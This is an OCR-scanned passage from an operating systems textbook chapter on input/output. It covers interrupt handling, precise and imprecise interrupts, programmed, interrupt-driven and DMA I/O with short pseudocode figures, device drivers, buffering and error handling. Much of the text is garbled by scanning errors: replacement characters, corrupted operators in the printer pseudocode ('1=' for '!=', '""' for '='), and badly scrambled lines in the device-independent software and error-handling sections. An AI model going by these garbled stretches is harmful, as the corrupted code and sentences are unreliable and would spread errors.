Figure 5vS. How an interrupt happens. The connections between the devices 
and the interrupt controller actually use interrupt lines on the bus rather than 
dedicated wires. . 

If no other interrupts are pending, the interrupt controller processes the inter
rupt immediately. If another one is in progress, or another device has made a si
multaneous request on a higher-priority interrupt request line on the bus, the 
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device is just ignored for the moment. In this case it continues to assert an inter-
rupt signal on the bus until it is serviced by the CPU. . 

To handle the interrupt, the controller puts a number on the address hues 
specifying which device wants attention and asserts a signal to interrupt the CPU. 

The interrupt signal causes the CPU to stop what it is doing and start doing 
something else. The number on the address lines is used as an index into a table 
called the interrupt vector to fetch a new program counter. This program counter 
points to the start of the corresponding interrupt service procedure. typically traps 
and interrupts use the same mechanism from this point on, and frequently share 
the same interrupt vector. The location of the interrupt vector can be hardwired 
into the machine or it can be anywhere in memory, with a CPU register (loaded 
by the operating system) pointing to its origin. 

Shortly after it starts running, the interrupt service procedure acknowledges 
the interrupt by writing a certain value to one of the interrupt controller's I/O 
ports. This acknowledgement tells the controller that it is free to issue another in
terrupt. By having the CPU delay this acknowledgement until it is ready to hand
le the next interrupt, race conditions involving multiple (almost simultaneous) in
terrupts can be avoided. As an aside, some (older) computers do not have a cen
tralized interrupt controller, so each device controller requests its own interrupts. 

The hardware always saves certain information before starting the service 
procedure. Which information is saved and where it is saved varies greatly from 
CPU to CPU. As a bare minimum, the program counter must be saved, so the in
terrupted process can be restarted. At the other extreme, all the visible registers 
and a large number of internal registers may be saved as welL 

One issue is where to save this information. One option is to put it in internal 
registers that the operating system can read out as needed. A problem with this 
approach is that then the interrupt controller cannot be acknowledged until all 
potentially relevant information has been read out, lest a second interrupt over
write the internal registers saving the state. This strategy leads to long dead times 
when interrupts are disabled and possibly lost interrupts and lost data. 

Consequently, most CPUs save the information on the stack. However, this 
approach, too, has problems. To start with: whose stack? If the current stack is 
used, it may well be a user process stack. The stack pointer may not even be legal, 
which would cause a fatal error when the hardware tried to write some words at 
the address pointed to. Also, it might point to the end of a page. After several 
memory writes, the page boundary might be exceeded and a page fault generated. 
Having a page fault occur during the hardware interrupt processing creates a 
bigger problem: where to save the state to handle the page fault? 

If the kernel stack is used, there is a much better chance of the stack pointer 
being legal and pointing to a pinned page. However, switching into kernel mode 
may require changing MMU contexts and will probably invalidate most or all of 
the cache and TLB. Reloading all of these, statically or dynamically will increase 
the time to process an interrupt and thus waste CPU time. 
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Precise and Imprecise Interrupts 

. 
�nother problem is caused by the fact that most modern CPUs are heavily 

�Ipelm�d and ofte� superscalar (internally parallel). In older systems, after each 
�nstructlOn was firushed executing, the microprogram or hardware checked to see 
If there was an intenupt pending. If so, the program counter and PSW were 
pushed onto the stack and the interrupt sequence begun. After the interrupt hand
ler ran, the reverse process took place, with the old PSW and program counter 
popped from the stack and the previous process continued. 

T�is mod�l makes �e implicit assumption that if an interrupt occurs just after 
some mstructlOn, all the mstructions up to and-including that instruction have been 
executed completely, and no instructions after it have executed at alL On older 
machines, this assumption was aJways valid. On modem ones it may not be. 
. For starters, co�sider t�e p�pel�ne model of Fig. 1-6(a). What happens if an 
�nte�pt occurs while the plpelme IS full (the usual case)? Many instructions are 
In vanous stages of execution. When the interrupt occurs, the value of the pro
gram counter may not reflect the correct boundary between executed instructions 
and nonexe�utedJnstruct�ons. In fact, many instructions may have been partially 
�xecuted, Wlth dIfferent lllstructions being more or less complete. In this situa
tIOn, the program counter most likely reflects the address of the next instruction to 
be fetched and pushed into the pipeline rather than the address of the iru;truction 
that just was processed by the execution unit. 

On .a superscalar machine, such as that of Fig. 1-7 (b), things are even worse. 
InstructlOns may be decomposed into micro-operations and the micro-operations 
may execute out of order, depending on the availability of internal resources such 
as functional units and registers. At the time of an interrupt, some instructions 
started long ago may :lOt have sta:ted and others started mOre recently may be al
�ost ?one . . At the pomt when an mterrupt is signaled, there may be many instruc
tlOns III vanous states of completeness, with less relation between them and the 
program counter. 

. An interrupt that leaves the machine in a well-defined State is called a precise 
mterrupt (Walker and Cragon, 1995). Such an interrupt has four properties: 

1 .  The PC (Program Counter) is saved in a known place. 

2. All instructions before the one pointed to by the PC have fully executed. 

3 .  No instruction beyond the one pOinted to by the PC has been executed. 

4. The execution state of the instruction pointed to by the PC is known. 

Note that ther� is no �ro�ibition on instructions beyond the one pointed to by the 
PC from startIng. It IS Just. that any changes they make to registers or memory 
m�st be undone before the Interrupt happens. It is permitted that the instruction 
pOInted to has been executed. It is also permitted that it has not been executed. 



340 INPUT/OUTPUT CHAP. 5 

However it must be clear which case applies. Often, if the interrupt is an I/O in

terrupt, the instruction will not yet have started. Howev:f, if th� interrupt is really 

a trap or page fault, then the PC generally points to the mstruc�lOn that caused :he 

fault so it can be restarted later. The situation of Fig. 5-6(a) illustrates a preCIse 

interrupt All instructions up to the program counter (316) have complete� and 

none of those beyond it have started (or have been rolled back to undo theIr ef-

fects). 

(a) (b) 

Figure 5-6. (a) A precise interrupt. (b) An imprecise interrupt. 

An interrupt that does not meet these requirements is called an imprecise 

interrupt and makes life most unpleasant for the operating system writer, who 

now has to figure out what has bappened and what still bas to happen. Fig. 5-6(b) 

shows an imprecise interrupt, where different instructions near the program count

er are in different stages of completion, with older ones not necessarily more c�m

plete than younger ones. Machines with impr�cise interrup
.
ts usually vormt a 

large amount of internal state onto the stack to glve the operatmg system the pos

sibility of figuring out what was going on. The code necessary to restart th: ma

chine is typically extremely complicated. Also, saving a large amount of mfor

mation to memory on every interrupt makes interrupts slow and recovery even 

worse. This leads to the ironic situation of having very fast superscalar CPUs 

sometimes being unsuitable for real-time work due to slow interrupts. 

Some computers are designed so that some kinds of interrupts and traps are 

precise and others are not. For example, having I/O interrupt� be precise but traps 

due to fatal programming errors be imprecise is not so bad Slllce no attempt �eed 

be made to restart a running process after it has divided by zero. Some machllles 

have a bit that can be set to force all interrupts to be precise. The downside of set

tinO" this bit is that it forces the CPU to carefully log everything it is doing and . . . 
maintain shadow copies of registers so it can generate a preCIse lllterrupt at any 

instant. All this overhead has a major impact on performance. 

Some superscalar machines, such as the Pentium series have precise interrupts 

to allow old software to work correctly. The price paid for precise interrupts is 

extremely complex interrupt logic within the CPU to make sure that when the in

terrupt controller signals that it wants to cause an interrupt, all instructions up to 
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some pOint are allowed to finish and none beyond that point are allowed to have 
any noticeable effect on the machine state. Here the price is paid not in time but 
in chip area and in complexity of the design. If precise interrupts were no� re
quired for backward compatibility purposes, this chip area would be available for 
larger on-chip caches, making the CPU faster. On the other hand, imprecise inter
rupts make the operating system far more complicated and slower, so it is hard to 
tell which approach is really better. 

5.2 PRINCIPLES OF I/O SOFTWARE 

Let liS now turn away from the I/O hardware and look at the I/O software. 
First we will look at the goals Qf the I/O software and then at the different ways 
lIO can be done from the point of view of the operating system. 

5.2.1 Goals of the I/O Software 

A key co�cept in t.he design of I/O software is known as device indepen
dence. What It means IS that it should be possible to write programs that can ac
cess any I/O device without having to specify the device in advance. For example, 
a program that reads a file as input should be able to read a file on a hard disk a 
CD-ROM, a DVD, or a USB stick without having to modify the program for ea�h 
different device. Similarly, one should be able to type a command such as 

sort <input >output 

and have it work with input coming from any kind of disk or the keyboard and the 
output going to any kind of disk or the screen. It is up to the operating system to 
take care of the problems caused by the fact that these devices really are different 
and require very different command sequences to read or write. 

Closely related to device independence is the goal of uniform naming. The 
name of a !lIe

. 
or a device should simply be a string or an integer and not depend 

on the deVIce m any way. In UNIX, all disks can be integrated in the file system 
hierarchy in arbitrary ways so the user need not be aware of which name 
corre�ponds to which device. For example, a USB stick can be mounted on top of 
�e d1rectory lusrlastlbac�up so that copying a file to lusrlastlbackuplmonday cop
Ies the file to the USB slick. In this way, all files and devices are addressed the 
same way: by a path name. 

Another important issue for I/O software is error handling. In general, er
rors should be handled as close to the hardware as possible.· If the controller dis
covers a read error, it should try to correct the error itself if it can. If it cannot, 
then the device driver should handle it, perhaps by just trying to read the block 
again. Many errors are transient, such as read errors caused by specks of dust on 
the read head, and will frequently go away if the operation is repeated. Only if the 
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lower layers are not able to deal with the problem should the upper layers be told 
about it. In many cases, eITor recovery can be done transparently at a low level 
without the upper levels even knowing about the error. 

Still another key issue is that of synchronous (blocking) versus asynchro
nous (interrupt-dtiven) transfers. Most physical I/O is asynchronous-the �PU 
starts the transfer and goes off to do something else until the interrupt amves. 
User programs are much easier to write if the I/O operations are blocking-afte� a 
read system call the program is automatically suspended until the data are avrul
able in the buffer. It is up to the operating system to make operations that are ac
tually interrupt-driven look blocking to the user programs. 

Another issue for the lIO software is buffering. Often data that come off a 
device cannot be stored directly in its final destination. For example, when a 
packet comes in off the network, the operating system does not know where to put 
it until it has stored the packet somewhere and examined it. Also, some devices 
have severe real-time constraints (for example, digital audio devices), so the data 
must be put into an output buffer in advance to decouple the rate at which the 
buffer is filled from the rate at which it is emptied, in order to avoid buffer under
runs. Buffering involves considerable copying and often has a major impact on 
lIO performance. . 

The final concept that we will mention here is sharable versus dedIcated de
vices. Some lIO devices, such as disks, can be used by many users at the same 
time. No problems are caused by multiple users having open files on. the same 
disk at the same time. Other devices, such as tape drives, have to be dedIcated to a 
single user until that user is finished. Then another user can have the tape drive. 
Havino- two or more users writing blocks intermixed at random to the same tape 
will d:finitely not work. Introducing dedicated (unshared) devices also introduces 
a variety of problems, such as deadlocks. Again, the operating system must be 
able to handle both shared and dedicated devices in a way that avoids problems. 

5.2.2 Programmed 110 

There are three fundamentally different ways that I/O can be performed. In 
this section we will look at the first one (programmed I/O). In the next two sec
tions we will examine the others (interrupt-driven I/O and I/O using DMA). The 
simplest form of I/O is to have the CPU do all the work. This method is called 
programmed I/O. . 

It is simplest to illustrate programmed I/O by means of an example. ConSIder 
a user process that wants to print the eight-character string "ABCDEFG�" o?- the 
printer. It first assembles the string in a buffer in user space, as shown In FIg. 5-
7(a). 

The user process then acquires the printer for writing by making a system can 
to open it. If the printer is currently in use by another process, this call will fail 
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String to 
User be printed 
space t Printed Printed 

page page I ABeD I t t EFGH 

D N� D � D Kemel{ 
space ABeD. ABeD 

EFGH EFGH 

(a) (b) (e) 

Figure 5·7. Steps in printing a string. 

and return an error code or will block until the printer is available, depending on 
the operating system and the parameters of the call. Once it has the printer, the 
user process makes a system call telling the operating system to print the string on 
the printer. 

The operating system then (usually) copies the buffer with the strtng to an 
array, say, p, in kernel space, where it is more easily accessed (because the kernel 
may have to change the memory map to get at user space). It then checks to see if 
the printer is currently available. If not, it waits until it is available. As soon as 
the printer is available, the operating system copies the first character to the print
er's data register, in this example using memory-mapped lIO. This action 
activates the printer. The character may not appear yet because some printers buf
fer a line or a page before printing anything. In Fig. 5-7(b), however, we see that 
the first character has been printed and that the system has marked the "B" as the 
next character to be printed. 

As soon as it has copied the first character to the printer, the operating system 
checks to see if the printer is ready to accept another one. Generally, the printer 
has a second register, which gives its status. The act of writing to the data register 
causes the status to become not ready. When the printer controller has processed 
the current character, it indicates its availability by setting some bit in its status 
register or putting some value in it. 

At this point the operating system waits for the printer to become ready again. 
When that happens, it prints the next character, as shown in Fig, 5-7(c). This loop 
continues until the entire string has been printed. Then control returns to the user 
process. 

The actions followed by the operating system are summarized in Fig. 5-8. 
First the data are copied to the kernel. Then the operating system enters a tight 
loop outputting the characters one at a time. The essential aspect of programmed 
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I/O, clearly illustrated in this figure, is that after outputting a character, the. CPU 
continuously polls the device to see if it is ready to accept another one. ThIs be
havior is often called polling or busy waiting. 

copy_from_user(buffer, p. count); 
for (i :::: 0; i < count; i++) { 

while (*printer _status_reg 1= READY) ; 
*printer _data_register "" p[i]; 

/* p is the kernel butter */ 
/* loop on every character */ 

/* loop until ready */ 
1* output one character */ 

} 
return_to_user{ ); 

Figure 5-8. Writing a string to the printer using programmed lIO. 

Programmed IrO is simple but has the disadvantage of tying. up 
the CPU full time 

until all the I/O is done. If the time to "print" a character IS very short (because 
all the printer is doing is copying the new character to an internal buffer), t�en 
busy waiting is fine. Also, in an embedded system, where the CPU has nothmg 
else to do, busy waiting is reasonable. However, in more complex systems, whe� 
the CPU has other work to do, busy waiting is inefficient. A better I/O method IS 
needed. 

5.2.3 Interrupt-Driven I/O 

Now let us consider the case of printing on a printer that does not buffer char
acters but prints each one as it arrives. If the printer can print, say 100 charac
ters/sec each character takes 10 msec to print. This means that after every charac
ter is w'ritten to the printer's data register, the CPU will sit in an idle loop for 10 
rnsec waiting to be allowed to output the next character. This is more than enough 
time to do a context switch and run some other process for the 10 msec that would 
otherwise be wasted. . 

The way to allow the CPU to do something else while waitin� for the p.rmt�r 
to become ready is to use interrupts. When the system call to �nnt the strmg IS 
made, the buffer is copied to kernel space, as we showed eariter, and the first 
character is copied to the printer as soon as it is willing to accept a character. At 
that point the CPU calls the scheduler and some oth�r proces� is ru.n. The pr?cess 
that asked for the string to be printed is blocked un111 the enUre stnog has prInted. 
The work done on the system can is shown in Fig. 5-9(a). 

When the printer has printed the character and is prepared to accept the ne.xt 
one, it generates an interrupt. This interrupt stops the current process an� saves I�S 
state. Then the printer interrupt service procedure is run. A crud� verslo� of thIS 
code is shown in Fig. 5-9(b). If there are no more characters to prInt, the mterrupt 
handler takes some action to unblock the user. Otherwise, it outputs the next char
acter, acknowledges the interrupt, and returns to the process that was running just 
before the interrupt, which continues from where it left off. 
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copy_from_user(buffer, p, count}; 
enable_interrupts{ ); 
while (*printer _status_reg 1= READY) ; 
*printer _data_register = prO]; 
scheduler( ); 

if (count == 0) { 
unblock-user( ); 

} else { 

} 

*printer _data_register = p[i]; 
count = count - 1 ;  

acknowledge_interrupt( ); 
return_from_interrupt( }; 

(b) 

Figure 5·9. Writing a string to the printer using interrupt-driven TIO. (a) Code 
executed at the time the print system call is made. (b) Interrupt service proce� 
dure for the printer. 

5.2.4 I/O Using DMA 

345 

An obvious disadvantage of interrupt-driven I/O is that an interrupt occurS on 
every character. Interrupts take time, so this scheme wastes a certain amount of 
CPU time. A solution is to use DMA. Here the idea is to let the DMA control1er 
feed the characters to the printer one at time, without the CPU being both�red. In 
essence, DMA is programmed I/O, only with the DMA controller doing all the 
work, instead of the main CPU. This strategy requires special hardware (the 
DMA controller) but frees up the CPU during the 110 to do other work. An out
line of the code is given in Fig. 5-10. 

copy_from_user(buffer, p, count); 
seLup_DMA_contro!ler( ); 
scheduler( ); 

{a} 

aCknowledge_interrupt( ); 
unblock_user( ); 
return_from_interrupt( ); 

(b) 

Figure 5-10. Printing a string using DMA. (a) Code executed when the print 
system call is made. (b) Interrupt service procedure. 

The big win with DMA is reducing the number of interrupts from one per cha
racter to one per buffer printed. If there are many characters and interrupts are 
slow, this can be a major improvement. On the other hand, the DMA controller is 
usually much slower than the main CPU. If the DMA controller is not capable of 
driving the device at full speed, or the CPU usually has nothing to do anyway 
while waiting for the DMA interrupt, then interrupt-driven 110 or even pro
grammed I/O may be better. Most of the time DMA is worth it though. 
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5.3 I/O SOFTWARE LAYERS 

CHAP. 5 

I/O software is typically organized in four layers, as shown in Fig. 5-11. Each 
layer has a well-defined function to perform and a well-defined. 

interface to the 
adjacent layers. The functionality and interfaces differ from system to system, s.o 
the discussion that follows, which examines all the layers startmg at the bottom, IS 
not specific to one machine. 

User-Ieve! 110 software 
Device-independent operating system software 

Device drivers 

Interrupt handlers 

I Hardv-rere I 
Figure 5-11. Layers of the IlO software system. 

5.3.1 Interrupt Handlers 

While programmed If 0 is occasionally useful, for most I/O,. interrupts are an 
unpleasant fact of life and cannot be avoided. They should be hldd�n away, deep 
in the bowels of the operating system, so that as little of the operatmg �ystem as 
possible knows about them. The best way to hide them is to have

. 
the dnver start

ing an I/O operation block until the I/O has completed and the l?terrupt oc��rs. 
The driver can block itself by doing a down on a semaphore, a walt on a condition 
variable, a receive on a message, or something similar, for example.

. . When the interrupt happens, the interrupt procedure does whatever It has to 10 
order to handle the interrupt. Then it can unblock the driver that started it. In 
some cases it will just complete up on a semaphore. In others it will do a signal 
on a condition variable in a monitor. In still others, it will send a message to the 
blocked driver. In aU cases the net effect of the interrupt will be that a driver that 
was previously blocked will now be able to run. This model works best if drivers 
are structured as kernel processes, with their own states, stacks, and program 
counters. 

Of course, reality is not quite so simple. Processing an interrupt is not ju�t a 
matter of taking the interrupt, doing an up on some semaphore, and then execu�ng 
an IRET instruction to return from the interrupt to the previous process. There IS a 
(Treat deal more work involved for the operating system. We will now give an �utline of this work as a series of steps that must be perfonned in software after 
the hardware interrupt has completed. It should be noted that the details are very 
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system dependent, so some of the steps listed below may not be needed on a par
ticular machine and steps not listed may be required. Also, the steps that do occur 
may be in a different order on some machines. 

1 .  Save any registers (including the PSW) that have not already been 
saved by th� interrupt hardware. 

2. Set up a context for the interrupt service procedure. Doing this may 
involve setting up the TLB, MMU and a page table. 

3. Set up a stack for the interrupt service procedure. 

4. Acknowledge the interrupt controller. If there is no centralized inter
rupt controller, reenable interrupts. 

5. Copy the registers fro� where they were saved (possibly some stack) 
to the process table. 

6. Run the interrupt service procedure. It will extract information from 
the interrupting device controller's registers. 

7. Choose which process to run next. If the interrupt has caused Some 
high-priority process that was blocked to become ready, it may be 
chosen to run now. 

8. Set up the MMU context for the process to run next. Some TLB set
up may also be needed. 

9. Load the new process' registers, including its PSW. 

10. Start running the new process. 

As can be seen, interrupt processing is far from trivial. It also takes a consid
erable number of CPU instructions, especially on machines in which virtual mem
ory is present and page tables have to be set up or the state of the MMU stored 
(e.g., the R and M bits). On some machines the TLB and CPU cache may also 
have to be managed when switching between user and kernel modes, which takes 
additional machine cycles. 

5.3.2 Device Drivers 

Ear1ier in this chapter we looked at what device controllers do. We saw that 
each controller has some device registers used to give it commands or SOme de
vice registers used to read out its status or both. The number of device registers 
and the nature of the commands vary radically from device to device. For ex
ample, a mouse driver has to accept information from the mouse telling how far it 
has moved and which buttons are currently depressed. In contrast, a disk driver 
may have to know all about sectors, tracks, cylinders, heads, arm motion, motor 
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drives, head settling times, and all the other mechanics of making the disk work 
properly. Obviously, these drivers will be very different. ' 

As a consequence, each 1/0 device attached to a computer needs some de
vice-specific code for controlling it. This code, called the device �river, is �en
erally written by the device's manufacturer and delivered along wIth the device. 
Since each operating system needs its own drivers, device manufacturers com
monly supply drivers for several popular operating systems. 

Each device driver normally handles one device type, or at most, one class of 
closely related devices. For example, a SCSI disk driver can usually handle multi
ple SCSI disks of different sizes and different speeds, and perhaps a SCSI C?
ROM as well. On the other hand, a mouse and joystick are so different that dIf
ferent drivers are usually required. However, there is no technical restriction on 
having one device driver control multiple unrelated devices. It is just not a good 
idea. 

In order to access the device's hardware, meaning the controller'S registers, 
the device driver normally has to be part of the operating system kernel, at least 
with current architectures. Actually, it is possible to construct drivers that run in 
user space, with system calls for reading and writing the device registers. �hi: de
sian isolates the kernel from the drivers and the drivers from each other, ebmmat
in: a major source of system crashes-buggy drivers that interfere with the kernel 
in 

""
one way or another. For building highly reliable systems, this is definitely the 

way to go. An example of a system in which the device drive:s run as user proc
esses is MINIX 3. However, since most other desktop operatlOg systems expect 
drivers to run in the kernel, that is the model we will consider here. 

Since the designers of every operating system know that pieces of code (driv
ers) written by outsiders will be installed in it, it needs to have an architecture �hat 
allows such installation. This means having a well-defined model of what a dnver 
does and how it interacts with the rest of the operating system. Device drivers are 
normally positioned below the rest of the operating system, as is illustrated in 
Fig. 5-12. 

Operating systems usually classify drivers into one of a small number of cat
egories. The most common categories are the block devices, such as disks, which 
contain multiple data blocks that can be addressed independently, and the charac� 
ter devices, such as keyboards and printers, which generate or accept a stream of 
characters. 

Most operating systems define a standard interface that all block drivers must 
support and a second standard interface that all character drivers must suPP?rt. 
These interfaces consist of a number of procedures that the rest of the operatmg 
system can call to get the driver to do work for it. Typical procedures are those to 
read a block (block device) or write a character string (character device). . 

In some systems, the operating system is a single binary program that contaInS 
all of the drivers that it will need compiled into it. This scheme was the nonn for 
years with UNIX systems because they were run by computer centers and I/O de-
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Figure 5-12. Logical positioning of device drivers. In reality all communica
tion between drivers and device controllers goes over the bus. 
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vices ra.rely changed. If a new device was added, the system administrator simply 
recompIled the kernel with the new driver to build a new binary. 

With the advent of personal computers. with their myriad VO devices, this 
model no longer worked. Few users are capable of recompiling or relinkinCT the 
kernel, even if they have the SOurce code or object modules, which is not al:'ays 
the case. Instead, operating systems, starting with MS-DOS, went over to a model 
in which drivers were dynamically loaded into the system during execution. Dif
ferent systems handle loading drivers in different ways. 

A device driver has several functions. The most obvious one is to accept 
abstract read and write requests from the device-independent · software above it 
and see that they are carried out. But there are also a few' other functions they 
must perform .  For example, the driver must initialize the device, if needed. It 
may also need to manage its power requirements and log events. 

Many device drivers have a similar general structure. A typical driver starts 
out by checking the input parameters to see if they are valid. If not, an error is 
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returned. If they are valid, a translation from abstract to concrete terms may be 
needed. For a disk driver, this may mean converting a linear block' number into 
the head, track, sector, and cylinder numbers for the disk's geometry. 

Next the driver may check if the device is currently in use. If it is, the request 
will be queued for later processing. If the device is idle, the hardware status will 
be examined to see if the request can be handled now. It may be necessary to 
switch the device on or start a motor before transfers cao be begun. Once the de
vice is on and ready to go, the actual control can begin. 

Controlling the device means issuing a sequence of commands to it. The driv
er is the place where the command sequence is determined, depending on what 
has to be done. After the driver knows which commands it is going to issue, it 
starts writing them into the controller's device registers. After writing each com
mand to the controller, it may be necessary to check to see if the controller ac
cepted the command and is prepared to accept the next one. This sequence contin
ues until all the commands have been issued. Some controllers can be given a 
linked list of commands (in memory) and told to read and process them all by it
self without further help from the operating system. 

After the commands have been issued, one of two situations will apply. In 
many cases the device driver must wait until the controller does some work for it, 
so it blocks itself until the interrupt comes in to unblock it. In other cases, howev
er, the operation finishes without delay, so the driver need not block. As an ex
ample of the latter situation, scrolling the screen in character mode requires just 
writing a few bytes into the controller's registers. No mechanical motion is need
ed, so the entire operation can be completed in nanoseconds. 

In the former case, the blocked driver will be awakened by the interrupt. In 
the latter case, it will never go to sleep. Either way, after the operation has been 
completed, the driver must check for errors. If everything is all right, the driver 
may have data to pass to the device-independent software (e.g., a block just read). 
Finally, it returns some status information for error reporting back to its caller. If 
any other requests are queued, one of them can now be selected and started. If 
nothing is queued, the driver blocks waiting for the next request. 

This simple model is only a rough approximation to reality. Many factors 
make the code much more complicated. For one thing, an 1I0 device may com
plete while a driver is running, interrupting the driver. The interrupt may cause a 
device driver to run. I"Q. fact, it may cause the current driver to run. For example, 
while the network driver is processing an incoming packet,· another packet may 
arrive. Consequently, drivers have to be reentrant, meaning that a running driver 
has to expect that it will be called a second time before the first call has com-
pleted_ 

In a hot pluggable system, devices can be added or removed while the com-
puter is running. As a result, while a driver is busy reading from some device, the 
system may inform it that the user has suddenly removed that device from the sys
tem. Not only must the current I/O transfer be aborted without damaging any 
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kernel data structures, but any pending requests for the now-vanished device must also be gracefully removed from the system and their callers O"iven th b d Furthermore, the un�xpected addition of new devices may cau�e the k:rn:l t��:s
� gle re.s�urc�s (e.g., mterrupt request lines), taking old ones awa f th d � g 

and gIvmg It new ones in their place. 
y rom e nver 

Drivers are not allowed to make t 11 with the rest of the kernel. Usually, cs.x:s �� c��:in 
b��!e�y

p���:��:d 
a
�� in;;:�� 

te� FO; example, there are usually calls to allocate and deallocate ha�Wired �t 0 . memory for use as buffers. Other useful calls are needed to manage the , tImers, the DMA controller, the interrupt controller d , an so on. 

5.3.3 Device·Independent 11.0 Software 

v.ce 
�lt�ough

d 
some

T
of the I/O software is device specific, other parts of it are de-l m epen ent. he exact boundary between the dn-vers and th d - - d pend t f 

. e eVICe-In e
c Ul;� s� twa�e IS sys

.
tem. (and device) dependent, because some functions that o e. one In a devlCe-mdependent way may actually be done in the driv for e�ficlency or other reasons. The functions shown in Fio- 5-13 . �s, 

done m the device-independent software. 
b· are typIC y 

Uniform interiacing for device drivers 
Buffering 
Error reporting 
Allocating and releasing dedicated devices 
Providing a device-independent block size 

Figure 5·13. Functions of the device�independent 110 software. 

f 
�he basic function of the device-independent software is to perform the I/O 

unct;ons that are common to all devices and to provide a uniform interface to the 
user- eve1 software. Below we. will look at the above issues in more detail. 

Uniform Interfacing for Device Drivers 

A major issue in an operating system is how to make all lJO d - d dr-e s 1 k eVlces an IV-
t;rfa�o 

d 
I?o�� f

�r less the same. If �isks, printers, keyboards, and so on, are all ine In I erent ways, every tIme a new device comes along the 0 eratin syst�m must be modi�ed.for the new device. Having to hack on th; operat1no- Sys� tern lor each new deVIce IS not a good idea. b 

One aspect �f this issue is the interface between the device drivers and the rest of the operatmg system. In Fig. 5-l4(a) we illustrate a situation in which each 
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device driver has a different interface to the operating system. What thIs means is 
that the driver functions available for the system to call differ from driver to driv
er. It might also mean that the kernel functions that the driver needs also differ 
from driver to driver. Taken together, it means that interfacing each new driver re
quires a lot of new programming effort. 

SATA disk driver IDE disk driver SCS! disk driver SATA disk driver IDE disk driver SCSI disk driver 

Figure 5-14. (a) Without a standard driver interface. (b) With a standard driver 
interface. 

In contrast, in Fig. 5-14(b), we show a different design in which all drivers 
have the same interface. Now it becomes much easier to plug in a new driver, pro
viding it conforms to the driver interface. It also means that driver writers know 
what is expected of them. In practice, not all devices are absolutely identical, but 
usually there are only a small number of device types and even these are generally 
almost the same. 

The way this works is as follows. For each class of devices, such as disks or 
printers, the operating system defines a set of functions that the driver ,must sup� 
ply. For a disk these would naturally include read and write, but also turning the 
power On and off, formatting, and other disky things. Often the driver contains a 
table with pointers into itself for these functions. When the driver is loaded, the 
operating system records the address of this table of function pointers, so when it 
needs t<jfall one of the functions, it can make an indirect call via this table. This 
tab1e oMunction pointers defmes the interface between..the driver and the rest of 
the operating system. All devices of a given class (disks, printers, etc.) must obey 
it. 

Another aspect of having a uniform interface is how I/O devices are named. 
The d.ndependent software takes care of mapping symb

.
oIic device names 

onto t,.."er driver. For example, in UNIX a device name, such as /dev/diskO, 
uniquely specifies the i-node for a special file, and this i�nOde.ains the major 
device number, which is used to locate the appropriate drh he i-node also 
contains the minor device number, which is passed as a parameter to the driver 

SEC 5.3 I/O SOFTWARE LAYERS 353 
in order to specify the unit to be read or written A ' . numbers, and all drivers are accessed b 

. '  
h 
11 devices have major and minor 

the driver. y usmg t e major device number to select 
Closely related to naming is protection How d from accessing devices that they are t " tl d

oes the system prevent users 
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one, but it has a drawback: what happens if the buffer is paged Qut when a charac

ter arrives? The buffer could be locked in memory, but if many proceSses start 

locking pages in memory, the pool of available pages will shrink and perfonnance 

will degrade. 
Yet another approach is to create a buffer inside the kernel and have the inter-

rupt handler put the characters there, as shown in Fig. 5-15(c). When this buffer 

is full, the page with the user buffer is brought in, if needed, and the buffer copied 

there in one operation. This scheme is far more efficient. 
However, even this scheme suffers from a problem: What happens to charac

ters that arrive while the page with the user buffer is being brought in from the 

disk? Since the buffer is full, there is no place to put them. A way out is to have 

a second kernel buffer. After the first buffer fills up, but before it has been emp

tied, the second one is used, as shown in Fig. 5-15(d), When the second buffer 

fiUs up, it is available to be copied to the user (assuming the user has asked for it). 

While the second buffer is being copied to user space, the first one can be used for 

new characters. In this way, the two buffers take turns: while one is being copied 

to user space, the other is accumulating new input. A buffering scheme like this is 

called double buffering. 

Another form of buffering that is widely used is the circular buffer, It con-

sists of a region of memory and two pointers. One pointer points to the next free 

word, where new data can be placed. The other pointer points to the first word of 

data in the buffer that has not been removed yet. In many situations, the hardware 

advances the first pointer as it adds new data (e.g., just arriving from the network) 

and the operating system advances the second pointer as it removes and processes 

data. Both pointers wrap around, going back to the bottom when they hit the top, 

Buffering is also important on output. Consider, for example, hoW output is 

done to the modern without buffering using the model of Fig. 5-15(b). The user 

process executes a write system call to output n characters, The system has two 

choices at this point. It can block the user until all the characters have been writ

ten, but this could take a very long time over a slow telephone line. It could also 

release the user immediately and do the I/O while the user computes some more, 

but this leads to an even worse problem: how does the user process know that the 

output has been completed and it can reuse the buffer? The system could generate 

a signal or software interrupt, but that style of programming is difficult and prone 

to race conditions, A much better solution is for the kernel to copy the data to a 

kernel buffer, analogous in Fig. 5-15(c) (but the other way), and unblock the caller 

immediately, Now it does not matter when the actual I/O has been completed. 

The user is free to reuse the buffer the instant it is unblocked. 
Buffering is a widely used technique, but it has a downside as well. If data 

get buffered too many times, performance suffers. Consider, for example, the net

work of Fig. 5-16. Here a user does a system call to write to the network. The 

kernel copies the packet to a kernel buffer to allow the user to proceed immediate

ly (step 1). At this point the user program can reuse the buffer. 
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Errors are far more co�on in the context of I/O than in other context 
When the

d
y o.ccur, th� operatmg system must handle them as best it can Many er

s. 

rors are eVIce-specific and t b h dl 
. 

framework for error handling �u�evi�e i:ep
e
e�::nt�e appropriate driver, but the 

One class �f II? errors is programming errors. These occur when a roce 
asks for somethmg lmpos.sible, such as writing to an input device (keyboard sca�� 
ner, mouse, et�.). or readmg from an output device (printer plotter etc ) 'Othe 
errors are provldmg an invalid buffer address or other para�eter, �d S��CifYin� 



356 INPUT/OUTPUT 
CHAP_ 5 

. . h the s stem has only two disks), and so on. 
an invalid devIce (e.g., dlsk 3 w

.
en 

. h
Y
f ard" J"ust report back an error code 

The action to take on these errors IS stralg t orw . 

to the caller. . f t a1 I/O errors, for example, trying to 
Another class of errors IS the class 0 ac u . ead from a camcorder that 

- bl k h t has been damao-ed or trymg to r . 
write a dISk OC t a . '=' 

°t is up to the driver to determllle 
has been switched o�f. In these clrcumsta�c�S;ol 

do it may pass the problem back 
what to do. If the drIver does not know w a , 

up to device�independent software. 
h nvironment and the nature of the er-

What thIS software does depends �n t � e 
an "nteractive user available, it may 

fOr. If it is a simple re�d error and t :r; 
t
IS 

do �he options may include retrying 
display a dialog box asking t�e us�r w 

h
a 0 -

0 killin<:r the calling process. If 
. b f times lo-nonno- t e error, r b 

II a certam num er a , b  b 
1 1 option is to have the system ca 

there is no user available, probably the on y rea 

fail with an error code. 
b handled this way. For example, a critical 

However, some errors canno� e 
f ee block list may have been des-

data structure, such as the root direC�ry �r �. splay an err�r message and termi
troyed. In this case, the system may ave 0 1 
nate. 

Allocating and Releasing Dedicated Devices 

